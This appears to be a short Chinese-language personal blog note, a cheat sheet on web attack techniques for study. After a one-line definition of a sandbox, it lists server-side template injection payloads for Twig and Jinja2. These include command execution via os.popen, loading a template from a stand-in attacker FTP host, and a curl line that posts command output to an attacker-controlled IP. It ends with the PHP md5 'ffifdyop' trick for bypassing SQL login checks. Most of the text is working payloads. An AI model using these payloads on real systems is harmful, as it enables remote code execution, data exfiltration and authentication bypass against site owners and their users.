随笔1

  • 沙箱(网络编程虚拟执行环境)

沙箱是一个限制应用程序对系统资源的访问的运行环境。在其内部运行的程序并不能对硬盘产生永久性的影响。其为一个独立的虚拟环境,可以用来测试不受信任的应用程序或上网行为。

  • ssti模板注入

同一个可执行的 payload 会在不同引擎中返回不同的结果,如{{7*‘7’}}会在 Jinja2 中返回7777777,而在 Twig 中则是49

Twig引擎payload:

{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}

当allow_url_include开启时,包含远程文件利用
{{_self.env.setCache("ftp://attacker.net:2121")}}{{_self.env.loadTemplate("backdoor")}}

其他

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__ == 'catch_warnings' %}
  {% for b in c.__init__.__globals__.values() %}
  {% if b.__class__ == {}.__class__ %}
    {% if 'eval' in b.keys() %}
      {{ b['eval']('__import__("os").popen("id").read()') }}
    {% endif %}
  {% endif %}
  {% endfor %}
{% endif %}
{% endfor %} 

或者

{% for c in [].__class__.__base__.__subclasses__() %}
{% if c.__name__=='catch_warnings' %}
{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('id').read()")}}
{% endif %}{% endfor %} 

{% if ''.__class__.__mro__[2].__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://yourip:port -d `command`') %}1{% endif %}
OR
{% if [].__class__.__base__.__subclasses__()[59].__init__.func_globals.linecache.os.popen('curl http://yourip:port -d `command`') %}1{% endif %}

class 返回类型所属的对象
bases 返回该对象所继承的基类
subclasses 每个新类都保留了子类的引用,这个方法返回一个类中仍然可用的的引用的列表
init 类的初始化方法
globals 对包含函数全局变量的字典的引用
__builtins__是做为默认初始模块

  • PHP md5(string,raw)

raw:可选,默认FALSE-32字符十六进制数;TRUE-原始16字符二进制格式
select * from ‘admin’ where password=md5($pass,true)
md5(“ffifdyop”,true)返回字符串前几位为’or’6
拼接后select * from ‘admin’ where password=’‘or’6**’
等价于or一个永真式,实现绕过

多少记下来点,想必还是有些用处

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值